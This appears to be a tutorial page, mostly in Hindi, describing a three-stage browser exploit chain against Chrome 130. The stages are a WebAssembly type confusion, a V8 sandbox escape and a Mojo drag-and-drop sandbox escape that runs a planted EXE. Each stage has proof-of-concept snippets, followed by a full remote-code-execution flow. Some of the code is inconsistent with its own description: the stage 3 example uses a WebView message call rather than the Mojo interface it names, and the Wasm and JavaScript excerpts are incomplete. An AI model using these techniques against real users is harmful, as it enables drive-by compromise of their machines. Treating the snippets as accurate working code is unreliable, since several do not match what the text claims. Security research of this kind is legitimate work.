Chrome Exploiting

Reading time: 7 minutes

यह पृष्ठ Google Chrome 130 के खिलाफ एक आधुनिक "पूर्ण-श्रृंखला" शोषण कार्यप्रवाह का उच्च-स्तरीय फिर भी व्यावहारिक अवलोकन प्रदान करता है, जो “101 Chrome Exploitation” (भाग-0 — प्रस्तावना) पर आधारित है।
लक्ष्य यह है कि पेंटेस्टर्स और शोषण-डेवलपर्स को अपनी स्वयं की अनुसंधान के लिए तकनीकों को पुन: उत्पन्न या अनुकूलित करने के लिए आवश्यक न्यूनतम पृष्ठभूमि प्रदान की जाए।

1. Chrome Architecture Recap

हमले की सतह को समझने के लिए यह जानना आवश्यक है कि कोड कहाँ निष्पादित होता है और कौन से सैंडबॉक्स लागू होते हैं।

+-------------------------------------------------------------------------+
|                             Chrome Browser                              |
|                                                                         |
|  +----------------------------+      +-----------------------------+    |
|  |      Renderer Process      |      |    Browser/main Process     |    |
|  |  [No direct OS access]     |      |  [OS access]                |    |
|  |  +----------------------+   |      |                             |    |
|  |  |    V8 Sandbox        |   |      |                             |    |
|  |  |  [JavaScript / Wasm] |   |      |                             |    |
|  |  +----------------------+   |      |                             |    |
|  +----------------------------+      +-----------------------------+    |
|               |           IPC/Mojo              |                       |
|               V                                    |                     |
|  +----------------------------+                   |                     |
|  |        GPU Process         |                   |                     |
|  |  [Restricted OS access]    |                   |                     |
|  +----------------------------+                   |                     |
+-------------------------------------------------------------------------+

Layered defence-in-depth:

• V8 sandbox (Isolate): मेमोरी अनुमतियाँ JITed JS / Wasm से मनमाने पढ़ने/लिखने को रोकने के लिए सीमित हैं।
• Renderer ↔ Browser split Mojo/IPC संदेश पासिंग के माध्यम से सुनिश्चित किया गया; renderer के पास कोई मूल FS/नेटवर्क पहुंच नहीं है।
• OS sandboxes प्रत्येक प्रक्रिया को और सीमित करते हैं (Windows Integrity Levels / seccomp-bpf / macOS sandbox profiles)।

एक remote हमलावर को इसलिए तीन लगातार प्राइमिटिव की आवश्यकता होती है:

1. V8 के अंदर मेमोरी भ्रष्टाचार ताकि V8 heap के अंदर मनमाना RW प्राप्त किया जा सके।
2. एक दूसरा बग जो हमलावर को V8 sandbox से पूर्ण renderer मेमोरी में भागने की अनुमति देता है।
3. एक अंतिम sandbox-escape (अक्सर लॉजिक के बजाय मेमोरी भ्रष्टाचार) को कोड निष्पादित करने के लिए Chrome OS sandbox के बाहर।

2. Stage 1 – WebAssembly Type-Confusion (CVE-2025-0291)

TurboFan के Turboshaft ऑप्टिमाइजेशन में एक दोष WasmGC संदर्भ प्रकारों को गलत वर्गीकृत करता है जब मान एक एकल मूल ब्लॉक लूप के अंदर उत्पन्न और उपभोग किया जाता है।

प्रभाव:

• कंपाइलर प्रकार-चेक को छोड़ देता है, एक संदर्भ (externref/anyref) को int64 के रूप में मानते हुए।
• तैयार किया गया Wasm एक JS ऑब्जेक्ट हेडर को हमलावर-नियंत्रित डेटा के साथ ओवरलैप करने की अनुमति देता है → addrOf() & fakeObj() AAW / AAR प्राइमिटिव।

Minimal PoC (excerpt):

(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p      ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit       ;; exit condition keeps us single-block
br   $loop
end
end)
(export "f" (func $f)))

ट्रिगर ऑप्टिमाइजेशन और JS से स्प्रे ऑब्जेक्ट्स:

const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;

for (let i = 0; i < 1e5; ++i) f({});   // warm-up for JIT

// primitives
let victim   = {m: 13.37};
let fake     = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);

Outcome: मनमाने पढ़ने/लिखने की क्षमता V8 के भीतर।

3. स्टेज 2 – V8 सैंडबॉक्स से बाहर निकलना (issue 379140430)

जब एक Wasm फ़ंक्शन को टियर-अप-कंपाइल किया जाता है, तो एक JS ↔ Wasm wrapper उत्पन्न होता है। एक सिग्नेचर-मिसमैच बग के कारण wrapper एक विश्वसनीय Tuple2 ऑब्जेक्ट के अंत के पार लिखता है जब Wasm फ़ंक्शन को स्टैक पर रहते हुए फिर से ऑप्टिमाइज़ किया जाता है।

Tuple2 ऑब्जेक्ट के 2 × 64-बिट फ़ील्ड को ओवरराइट करने से Renderer प्रक्रिया के भीतर किसी भी पते पर पढ़ने/लिखने की क्षमता मिलती है, जो V8 सैंडबॉक्स को प्रभावी ढंग से बायपास करती है।

शोषण के मुख्य चरण:

1. टर्बोफैन/बेसलाइन कोड को वैकल्पिक करके फ़ंक्शन को टियर-अप स्थिति में लाना।
2. स्टैक पर एक संदर्भ रखते हुए टियर-अप को ट्रिगर करना (Function.prototype.apply)।
3. निकटवर्ती Tuple2 को खोजने और भ्रष्ट करने के लिए स्टेज-1 AAR/AAW का उपयोग करना।

Wrapper पहचान:

function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f);          // force tier-up (internals-only flag)
wrapperGen(0x1337n);

After corruption we possess a fully-featured renderer R/W primitive.

4. Stage 3 – Renderer → OS Sandbox Escape (CVE-2024-11114)

The Mojo IPC interface blink.mojom.DragService.startDragging() can be called from the Renderer with partially trusted parameters. By crafting a DragData structure pointing to an arbitrary file path the renderer convinces the browser to perform a native drag-and-drop outside the renderer sandbox.

इसका दुरुपयोग करते हुए, हम प्रोग्रामेटिक रूप से एक दुर्भावनापूर्ण EXE (जो पहले एक विश्व-लिखने योग्य स्थान पर रखा गया था) को डेस्कटॉप पर “खींच” सकते हैं, जहाँ Windows स्वचालित रूप से कुछ फ़ाइल-प्रकारों को छोड़ने पर निष्पादित करता है।

Example (simplified):

const payloadPath = "C:\\Users\\Public\\explorer.exe";

chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});

कोई अतिरिक्त मेमोरी भ्रष्टाचार आवश्यक नहीं है - लॉजिक फ्लॉ हमें उपयोगकर्ता के विशेषाधिकारों के साथ मनमाने फ़ाइल निष्पादन की अनुमति देता है।

5. पूर्ण श्रृंखला प्रवाह

1. उपयोगकर्ता दुर्भावनापूर्ण वेबपृष्ठ पर जाता है।
2. चरण 1: Wasm मॉड्यूल CVE-2025-0291 का दुरुपयोग करता है → V8 हीप AAR/AAW।
3. चरण 2: रैपर असंगति Tuple2 को भ्रष्ट करती है → V8 सैंडबॉक्स से बाहर निकलें।
4. चरण 3: startDragging() IPC → OS सैंडबॉक्स से बाहर निकलें और पेलोड निष्पादित करें।

परिणाम: रिमोट कोड निष्पादन (RCE) होस्ट पर (Chrome 130, Windows/Linux/macOS)।

6. प्रयोगशाला और डिबगिंग सेटअप

# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1

# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols

Chrome के development बिल्ड को लॉन्च करते समय उपयोगी फ्लैग:

chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"

Takeaways

• WebAssembly JIT बग एक विश्वसनीय प्रवेश बिंदु बने रहते हैं - प्रकार प्रणाली अभी भी युवा है।
• V8 के अंदर एक दूसरा मेमोरी-क्षति बग प्राप्त करना (जैसे कि wrapper mismatch) V8-sandbox escape को बहुत सरल बनाता है।
• विशेष Mojo IPC इंटरफेस में लॉजिक-स्तरीय कमजोरियाँ अक्सर अंतिम sandbox escape के लिए पर्याप्त होती हैं - non-memory बग पर नज़र रखें।

References

• 101 Chrome Exploitation — Part 0 (Preface)
• Chromium security architecture